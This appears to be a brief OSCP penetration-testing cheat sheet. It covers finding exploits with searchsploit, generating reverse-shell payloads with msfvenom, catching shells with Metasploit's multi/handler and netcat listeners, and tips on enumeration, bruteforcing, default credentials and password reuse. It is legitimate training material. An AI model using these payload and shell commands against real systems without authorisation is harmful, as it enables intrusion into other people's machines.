OSCP Playbook
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How to hack without Metasploit

1. Finding Exploits

Search for exploits

searchsploit keyword1 keyword2 keyword3 ...

Copy exploit

searchsploit -m [exploit database id]
If searchsploit fails to find any juicy exploits, try Google. If Google fails, well, there’s probably not a public exploit. TRY HARDER!
It may be exploitable with:
  • Public POC (github, blog etc.)
    • Need to understand the code and POC
    • Try with your own
  • Bruteforcing
  • Clear text password in files (need detail enumeration)

2. Customising Payloads

To open a Meterpreter session or a reverse shell so that you can take control of the victim box.


msfvenom -p [payload] -f [format] LHOST=[your ip] LPORT=[your listener port]
  • staged - windows/shell/reverse_tcp
  • unstaged - “windows/shell_reverse_tcp”
Other option
  • -e to choose an encoder
  • -b allows you to set bad characters
List all payloads for msfvenom
msfvenom --list payloads

3. Privilege Escalation

4. Catching reverse shells

Metasploit multi/handler listener
use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/shell/reverse_tcp
msf exploit(multi/handler) > set lhost
msf exploit(multi/handler) > set lport 1234
msf exploit(multi/handler) > exploit
Netcat listener (unstaged payload)
root@kali:~# nc -nvlp 80
nc: listening on :: 80 ...
nc: listening on 80 ...

5. Enumerate more (adithyanak way)

Enumerate more means:
  • Scan ports, scan all the ports, scan using different scanning techniques,
  • brute force web dirs, brute force web dirs using different wordlist and tools
  • check for file permissions, check for registry entries, check for writable folders, check for privileged processes and services, check for interesting files,
  • look for a more suitable exploit using searchsploit, search google for valuable information, etc.
  • webserver version, web app version, CMS version, plugin versions‌
Tip for Foothold :
  • Password reuse
  • The default password of the application / CMS
  • Guess the file location incase of LFI with username
  • username from any notes inside the machine might be useful for Bruteforce
  • Try harder doesn’t mean you have to try the same exploit with 200x thread count or with an angry face. Go, enumerate harder.